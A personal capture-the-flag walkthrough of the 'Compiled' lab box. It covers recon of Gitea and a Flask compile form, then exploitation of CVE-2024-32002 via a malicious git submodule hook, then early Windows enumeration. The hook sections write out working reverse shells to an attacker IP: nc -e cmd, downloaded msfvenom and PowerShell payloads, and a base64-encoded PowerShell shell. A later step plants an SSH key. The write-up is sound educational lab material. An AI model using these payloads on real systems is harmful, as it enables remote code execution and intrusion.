Compiled
2025-01-30
INTRODUCTION
I’d like to say I had a fun time with Compiled, but I really didn’t. It had several good learning moments, but also a lot of really painful and time-consuming steps. It was very much a “CVE box”.
Recon was easy. The initial nmap scans tell us almost everything we need to know. Two HTTP services are found right away, and the default script scan shows the presence of a subdomain. Avoid the pitfall here of investigating one of the services too deeply without checking out the other one, too. The services are highly related to each other; it will make a lot more sense after seeing both. Remember to write down versions of everything when you see them, and don’t skip the vuln research!
Achieving a foothold requires one program - one that I guarantee is already on your box. The exploit itself seems a little absurd, but keep following in the footsteps of the vulnerability researchers before you and you will eventually get the exploit. It will require a little bit of customization for the target, so it’s essential to take the time to really understand the exploit and figure out how you can replicate it on this box.
Getting the user flag was deeply unpleasant, but it taught me quite a bit about some cryptography stuff. Thankfully, I was able to write my own solution for it, culminating in a useful git repo.
Privilege escalation to Administrator was… also deeply unpleasant. The local enumeration for privesc full of guesswork, with scant clues to point you in the right direction. Thankfully, some manual enumeration was enough to make me pay attention to the right things. This is one of those boxes where you only find out that you need Windows to solve it after you are far into the box. I was extremely lucky to have someone available that could assist me with the “Windows-required” steps and help craft an exploit.
Personally, I would not recommend this box.
I originally did this box in August 2024, getting all the way up to identifying the privesc exploit. Unfortunately, my hacking environment was a little too limited to finish it off at that time. Thankfully, somebody helped me compile the exploit, so I was able to finish it off today, after all this time! 📆
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
3000/tcp open ppp
5000/tcp open upnp
5985/tcp open wsman
7680/tcp open pando-pub
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=d3114104b84c841f; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=1J2ETRj2gxnJONJnqMPQJdw2GqU6MTcyNDMxNDE1NDI5NjMxNTYwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 22 Aug 2024 08:09:14 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-arc-green">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Git</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA">
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=131440bde92fefd6; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=6dtQ8_jPmeBXprtHpJ5H_JKNqs46MTcyNDMxNDE1OTcwOTQ3NzAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 22 Aug 2024 08:09:19 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Thu, 22 Aug 2024 08:09:14 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Compiled - Code Compiling Services</title>
| <!-- Bootstrap CSS -->
| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
| <!-- Custom CSS -->
| <style>
| your custom CSS here */
| body {
| font-family: 'Ubuntu Mono', monospace;
| background-color: #272822;
| color: #ddd;
| .jumbotron {
| background-color: #1e1e1e;
| color: #fff;
| padding: 100px 20px;
| margin-bottom: 0;
| .services {
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp filtered pando-pub
- Port 3000 is probably just a regular webserver.
- Port 5000 has the title Compiled - Code Compiling Services - I wonder if it will be like Builder, where we broke out of a Jenkins CI/CD pipeline to achieve RCE 🤔
- Port 5985 is for remote connection using WinRM
- Port 7680 is a bit of a mystery. Odd that it’s filtered though.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No results.
Webserver Strategy
Banner grabbing
First I’ll check port 3000:
whatweb --aggression 3 http://$RADDR:3000 && curl -IL http://$RADDR:3000
Oh, nice! It’s Gitea, the self-hosted git repo server. I’ll be sure to check that if I need any source code.
Next I’ll check port 5000:
Looks like a typical webserver. Maybe Werkzeug
+ Flask
?
I didn’t see any redirect, but I’ll add entries to /etc/hosts
anyway:
DOMAIN=compiled.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR gitea.$DOMAIN" | sudo tee -a /etc/hosts
Explore the Website
I’ll take a quick look at the HTTP server on port 5000, just to see what we’re dealing with. The only interesting thing I see is this form to submit a URL and have the server compile your code for you:
Using ZAP Spider I crawled the website and found that it is just as simple as it looks:
Glance at the repo
We just identified that the service on port 3000 is gitea
. Let’s check if any of the repos are publicly visible:
Yep! the repo richard / Compiled is probably the repo of the website that’s running on port 5000. Let’s check inside:
This definitely looks like the server on port 5000. The README.md
gives some simple instructions on how to use the site:
Usage
Once the application is up and running, follow these steps to compile your projects:
- Open your web browser and navigate to
http://localhost:5000
.- Enter the URL of your GitHub repository (must be a valid URL starting with
http://
and ending with.git
).- Click the Submit button.
- Wait for the compilation process to complete and view the results.
Let’s take a look at app.py
to verify their claims:
from flask import Flask, request, render_template, redirect, url_for
import os
app = Flask(__name__)
# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
@app.route('/', methods=['GET', 'POST'])
def index():
error = None
success = None
if request.method == 'POST':
repo_url = request.form['repo_url']
if # Add a sanitization to check for valid Git repository URLs.
with open(REPO_FILE_PATH, 'a') as f:
f.write(repo_url + '\n')
success = 'Your git repository is being cloned for compilation.'
else:
error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
return render_template('index.html', error=error, success=success)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
😂 I’m glad I checked - Take a look at the if
clause in the POST
handler: there’s no condition! We should be able to use any URL on the form and it will be written into C:\Users\Richard\source\repos\repos.txt
.
☝️ There’s a pretty good chance we can have some fun with this flaw. An SSRF is likely, at least 🚩
Host enumeration
Next I’ll perform vhost and subdomain enumeration:
I don’t see any need to check the
gitea
port for alternate vhosts.
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:5000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
As expected, there were no results. Now I’ll check for subdomains of compiled.htb
ffuf -w $WLIST -u http://$RADDR:5000 -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://compiled.htb:5000. I’m just going to check if there are any other directories, in case the site we’re visiting is (for some reason) different than the one in the richard/Compiled git repo:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v
No results. I’m content to assume that the website is the same as the one we saw on gitea.
FOOTHOLD
Let’s try playing around with this Compiled form a little.
Normal behaviour
It was very generous of the box creator to provide the richard/Calculator repo as well. This way, we don’t actually need Visual Studio to try out the website. The repo is at http://gitea.compiled.htb:3000/richard/Calculator.git
.
I clicked submit, and got the correct message:
But Step 4 of the instructions seems to be… not happening 😅
- Wait for the compilation process to complete and view the results.
Maybe it doesn’t ever finish?
Abnormal behaviour
Let’s try a variety of URLs in this form:
http://127.0.0.1:3000/nobody/nothing.git
✅ “Your git repository is being cloned for compilation”This means that no checks are being performed on whether or not the destination exists, or is a valid git repo.
http://127.0.0.1:3000/foo/bar.baz
❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”This means that (1) the website we are looking at is actually different than richard/Compiled shown on gitea and that (2) the form is probably running the URL through a regex to see if the URL conditions are met
http://127.0.0.1:3000/foo/bar.git
(with a space on the front) ❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”Vulnerable versions of
urllib
could be fooled by adding a space before the protocol. This isn’t vulnerable.http://127.0.0.1:3000/foo/bar.git\nhttp://http://127.0.0.1:3000/foo/bar.baz
(with a newline after a valid entry but before invalid entry) ❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”Poorly implemented usage of certain languages’ regex filters could be tricked with a newline character
I wonder if it’s contacting the provided URL at all. To find out, I’ll start up my own HTTP server and check for incoming connections:
sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v
I’ll enter http://10.10.14.5:8000/nobody/nothing.git
into the form and see what happens.
After a short while, this request came in:
🤔 That proves that something is actually processing the URLs that get stored into (presumably) the repos.txt
file. Some kind of bot or scheduled task must be doing it. It also proves that the target is using git 2.45.0
.
To verify, I tried using git clone
against my own webserver, and I got an identical request. This suggests that the target is probably just running git clone <url>
against every url that is provided to it.
Makefile hooks
🚫 This method didn’t lead anywhere. Proceed to the next section if you’re short on time. In this section, I explore whether it’s possible to put commands inside the makefile of a program and execute them by requesting compilation.
Let’s assume that the target is actually attempting to compile the git repos that are provided to it. That would mean that the target would need to git clone
the repo, then parse at least one of these:
- The project’s
makefile
.csproj
file.vcxproj
file
In my experience, makefile
is a very versatile thing - you can get it to do basically any command automatically. Perhaps we can use this to gain RCE?
I had a little conversation with ChatGPT to ask about doing this:
On Windows, is it possible to run a command during a build process by adding a line to a
.vcxproj
,.csproj
, or amakefile
? I want to run a CMD command upon building.The short answer is yes, it is possible. Here’s what we can do for a
.vcxproj
file (we already have a sample of one from the richard/Calculator repo):<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- Other project configurations --> <ItemGroup> <!-- ... --> </ItemGroup> <PropertyGroup> <!-- ... --> </PropertyGroup> <!-- Add this section for the custom command --> <Target Name="CustomBuildStep" BeforeTargets="ClCompile"> <Exec Command="echo Custom command running..." /> </Target> </Project>
To try this out, let’s first register a user on gitea
so that we can upload our test code as our own repo. I registered jimbob : Password123:
Now we’ll create a new repo (click the Plus button at the top of the gitea
interface):
Clone the empty repo:
cd exploit
git clone http://gitea.compiled.htb:3000/jimbob/MyCalculator.git
# Use credentials jimbob : Password123
Now clone richard/Calculator so we can copy its files:
git clone http://gitea.compiled.htb:3000/richard/Calculator.git
cd Calculator
Copy over everything except the git
related stuff, basically the non-hidden files:
cp -r Calculator Calculator.sln README.md ../MyCalculator
vim ../MyCalculator/Calculator/Calculator.vcxproj
Edit the .vcxproj
file to contain a test command:
Since we’re not actually sure that the target has
wget
, maybe it would have been better to usegit clone
as our test command, since it does a web request too 🤷♂️
Now we can make a commit to our test repo:
cd ../MyCalculator
git add .
git commit -m "Initial commit"
git push
With that complete, we now have a URL for our test repo: http://gitea.compiled.htb:3000/jimbob/MyCalculator.git
. Start up a test HTTP server and let’s enter this URL into http://compiled.htb:5000
👇 I’m using my own tool,
simple-server
, because it’s handy for catching base-64 encoded data. It’s also good for exfiltrating files. Feel free to try it yourself.
# open firewall port if you havent already
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v
I waited… then waited some more… nothing happened! To be fair, I’m not actually sure that the target is actually compiling anything. All we’ve proven is that a git clone
operation is taking place, but we haven’t actually seen evidence of compilation happening.
Vulnerability research
Earlier, we observed the git clone
operation happening by asking the target to compile a bogus repo from our attacker-controlled http
server, then logging the request headers. This showed that the attacker is indeed running git clone
, but also that they are using git 2.45.0
.
A quick search on “git 2.45.0 vulnerability exploit poc” shows that there is indeed a vulnerability in this version of git! It’s a code regression, labelled as CVE-2024-32002. A security researcher made a fantastic post about discovering this bug, demonstrating a PoC for it as well.
It works by abusing an oversight in capitalization, and only works on case-insensitive filesystems. Essentially, we define a hook script in one repo, then set that repo as a submodule of another repo. That way, when the main repo is cloned recursively, the hook will execute. If we can put a reverse shell into the hook, we should be able to gain RCE.
CVE-2024-32002
I first tried initializing repos for this exploit by running git init
locally then pushing to the gitea
server (as with my jimbob
user), but it turns out that the server refuses “push to create” of repos:
Therefore I’ll need to create the repos using gitea.compiled.htb
, clone them, copy in the code, then push the changes.
Let’s first create the repos. I’ll use MyCalculator
as the “primary” repo (the one with a submodule) and I’ll use MyHook
as the “child” repo (the one with the post-checkout hook we’re trying to execute):
cd exploit
git clone http://gitea.compiled.htb:3000/jimbob/MyHook.git
git clone http://gitea.compiled.htb:3000/jimbob/MyCalculator.git
Let’s make the hook repo first. Following along with the PoC, I’ll make a post-checkout hook in a directory called y
:
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
mkdir -p MyHook/y/hooks
vim MyHook/y/hooks/post-checkout # see below
I’m not quite sure what I’ll use in the hook yet, so I’ve just put some web requests in it that will indicate if anything worked:
#!/bin/bash
wget http://10.10.14.10:8000/prog=wget
curl http://10.10.14.10:8000/prog=curl
git clone http://10.10.14.10:8000/nobody/gitclone.git
nc.exe 10.10.14.10 4444 -e cmd
Thats’s all for MyHook
. I’ll push to gitea
:
cd MyHook
git add .
git commit -m "Added hook"
git push origin main
Copy the path to that repo, because now we’ll need to add it as a submodule into MyCalculator
:
cd ../MyCalculator
# Copy over richard/Calculator code
cp -r ../Calculator/* ./
git submodule add --name x/y "http://gitea.compiled.htb:3000/jimbob/MyHook.git" A/modules/x
git commit -m "Add submodule"
The next steps are taken directly from the PoC. I found that this repo did a much better job explaining what was happening, so I’ve taken their comments verbatim. In short, we’re adding a symlink to the .git
file:
# Create a symlink to the .git directory
# Print the string ".git" to a file named dotgit.txt
printf .git > dotgit.txt
# Generate a hash for the contents of dotgit.txt and store it in dot-git.hash
# The `-w` option writes the object to the object database, and the hash is output
git hash-object -w --stdin < dotgit.txt > dot-git.hash
# Create an index info line for a symbolic link with the mode 120000
# The line is formatted as: "120000 <hash> 0\ta"
# 120000 indicates a symbolic link, <hash> is the content hash, and 'a' is the path in the index
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
# Update the git index with the information from index.info
# This effectively stages the symbolic link for the next commit
git update-index --index-info < index.info
Commit the changes and push:
git commit -m "Add symlink"
git push origin main
Start up the listeners, in case this actually works:
cd www
simple-server 8000 -v &
rlwrap nc -lvnp 4444
All that’s left to do is to request that http://compiled.htb:5000
compiles our code:
Moments later, my http
server received evidence that we executed the post-checkout
hook!
The curl
command and git clone
commands both ran. I didn’t see any evidence of wget
or nc
running.
I’ll adjust the payload and see if there’s anything that will get me a shell.
Note: To update the payload in
post-checkout
, the updates need to be committed.cd MyHook # Make the edits vim y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "updated post-checkout hook" git push origin main cd ../MyCalculator git submodule update --remote A/modules/x git add A/modules/x git commit -m "updated submodule" git push origin main
Currently, I don’t know much about the target system - pretty much just that it’s Windows, probably running gitbash
(this explains why the #!/bin/bash
shebang was not a problem). We clearly have code execution, and the post-checkout
hook is being executed line by line… so let’s just shove a ton of payloads into one script and see what works!
First, I’ll generate a couple “staged” payloads:
👇 Aside from the
exe
reverse shell, these are all from https://www.revshells.com/
cd ../www # go back to the http server directory
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe > revshell.exe
vim revshell1.ps1 # Paste in "Powershell #1" reverse shell
Now I’ll modify the post-checkout
hook to delier some more:
#!/bin/bash
# To know if the payloads were actually delivered:
curl "http://10.10.14.10:8000/?msg=spray-and-pray-start"
# nc variants
nc.exe 10.10.14.10 4444 -e cmd
ncat.exe 10.10.14.10 4444 -e cmd
nc.exe -e cmd 10.10.14.10 4444
ncat.exe -e cmd 10.10.14.10 4444
curl "http://10.10.14.10:8000/?msg=nc-variants-failed"
# MSFVenom exe
curl -sLo C:\Users\Shared\revshell.exe http://10.10.14.10:8000/revshell.exe
C:\Users\Shared\revshell.exe
curl "http://10.10.14.10:8000/?msg=exe-failed"
# Powershell #1
curl -sLo C:\Windows\Temp\revshell1.ps1 http://10.10.14.10:8000/revshell1.ps1
powershell.exe -NoProfile -ExecutionPolicy Bypass -File 'C:\Windows\Temp\revshell1.ps1'
curl "http://10.10.14.10:8000/?msg=powershell-1-failed"
# Powershell #2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.10',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
curl "http://10.10.14.10:8000/?msg=powershell-2-failed"
# Powershell #3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.10', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
curl "http://10.10.14.10:8000/?msg=powershell-3-failed"
# Powershell #3 Base-64 encoded
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
curl "http://10.10.14.10:8000/?msg=powershell-3b64-failed"
curl "http://10.10.14.10:8000/?msg=spray-and-pray-end"
I’ve sprinkled in a few cURL
commands to indicate progress through the reverse shell. That way, if one is successful, I’ll know which worked 😉
🎉 And we caught a shell!
Let’s take a look at the HTTP
server to see which of the reverse shells was successful:
The last message before it starts again was powershell-3-failed
, so the successful reverse shell was Powershell #3 Base-64. Perfect, let’s thin-down the post-checkout
hook to just that one reverse shell (in case our connection breaks and we need to re-exploit):
#!/bin/bash
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
USER FLAG
Local enumeration - Richard
The folder where our reverse shell is formed seems empty. There are two other cloned repos present. Traversing all the way to C:\Users\Richard
we see that there is conspicuously a .ssh
folder:
I checked the
bash_history
and.gitconfig
as well, but there was nothing important.
Planting SSH key
The .ssh
directory has an authorirized_keys
file, so let’s generate a keypair and plant one:
The
authorized_keys
file is actually empty, so we could probably just overwrite it with the pubkey using acURL
request, but I want to try using the base64 way instead:
ssh-keygen -t rsa -b 4096 -f richard_id_rsa -N 'st4rling'
chmod 600 richard_id_rsa
base64 -w 0 richard_id_rsa.pub # copy to clipboard
Now, in the richard
shell, plant the key:
$base64 = "c3NoLXJzYSBBQU...9PSBrYWxpQGthbGkK" # Paste from clipboard
$bytes = [Convert]::FromBase64String($base64)
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
Write-Output $decoded | Tee-Object C:\Users\Richard\.ssh\authorized_keys -Append
Unfortunately, attempts to log in over SSH were unsuccessul (Unsurprising, as we never actually saw SSH listening):
Filesystem enumeration
There doesn’t seem to be a flag in C:\Users\Richard\Desktop
, where it would usually be. Let’s see if it’s anywhere we can access as Richard
:
Get-ChildItem -Path C:\ -Filter "user.txt" -Recurse -Force -ErrorAction SilentlyContinue
Nope, nothing. Although there’s no flag, we can see under their Documents
folder the clone.sh
script (clearly the script that gitbash
is running to clone our repos):
#!/bin/bash
# Define the file containing repository URLs
repos_file="C:/Users/Richard/source/repos/repos.txt"
# Specify the path where you want to clone the repositories
clone_path="C:/Users/Richard/source/cloned_repos"
# Check if the file exists
if [ ! -f "$repos_file" ]; then
echo "Error: Repositories file $repos_file not found."
exit 1
fi
# Create the clone path if it doesn't exist
mkdir -p "$clone_path"
# Loop through each repository URL in the file and clone it
while IFS= read -r repo_url; do
if [[ ! -z "${repo_url}" ]]; then
repo_name=$(head /dev/urandom | tr -dc a-z0-9 | head -c 5)
echo "Cloning repository: $repo_url"
git clone --recursive "$repo_url" "$clone_path/$repo_name"
echo "Repository cloned."
fi
done < "$repos_file"
echo -n > "$repos_file"
echo "All repositories cloned successfully to $clone_path."
# Cleanup Section
# Define the folder path
folderPath="C:/Users/Richard/source/cloned_repos"
# Check if the folder exists
if [ -d "$folderPath" ]; then
echo "Deleting contents of $folderPath..."
# Delete all files in the folder
find "$folderPath" -mindepth 1 -type f -delete
# Delete all directories and subdirectories in the folder
find "$folderPath" -mindepth 1 -type d -exec rm -rf {} +
echo "Contents of $folderPath have been deleted."
else
echo "Folder $folderPath not found."
fi
This script has nothing about compiling code in it.
Unless another script is reading through the C:/Users/Richard/source/cloned_repos
folder and compiling, I’m not confident that ```http://compiled.htb:5000` actually does what it claims to do 👀
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
The target is running Windows 10 Pro 10.0.19045 N/A Build 19045
We can see from net users
that Administrator
, Richard
, and Emily
are the main users on the target. It looks like Emily
is the user with remote access (WinRM):
We can see from netstat -ano
that there are a bunch of listening ports that we didn’t detect during the initial scan (I wonder why?):
tasklist
shows that ssh-agent
is running at PID 2664, but it’s not one of the listening ports. We also see the two web services running:
python.exe 3844 0 5,680 K
gitea.exe 6804 0 158,644 K
Wow,
gitea
uses a lot more memory than I thought it would!
Website configuration
The C:\app
folder holds the http://compiled.htb:5000
web app running on port 5000. As we observed earlier, the code is very slightly different from what’s shown in the gitea
repo (the URL filter clause):
from flask import Flask, request, render_template, redirect, url_for
import os
app = Flask(__name__)
# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
@app.route('/', methods=['GET', 'POST'])
def index():
error = None
success = None
if request.method == 'POST':
repo_url = request.form['repo_url']
if repo_url.startswith('http://') and repo_url.endswith('.git'):
with open(REPO_FILE_PATH, 'a') as f:
f.write(repo_url + '\n')
success = 'Your git repository is being cloned for compilation.'
else:
error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
return render_template('index.html', error=error, success=success)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Other than that, there are some static files and templates. Nothing important
Gitea configuration
We saw earlier from tasklist
that gitea
is running as an exe
(as opposed to running as a docker instance). That means it’s probably registered as a service.
A quick look through the Gitea installation documentation gives us a list of things to check out:
- Configuration file at
[installation_dir]\custom\conf\app.ini
- Possibly a database, which would be in
[installation_dir]\data\gitea.db
if it’s present
I found the gitea
installation directory at C:\Program Files\gitea
. As we had hoped, there is a configuration file in the expected location, C:\Program Files\gitea\custom\conf\app.ini
:
👇 I’ve omitted a few sections that didn’t seem important:
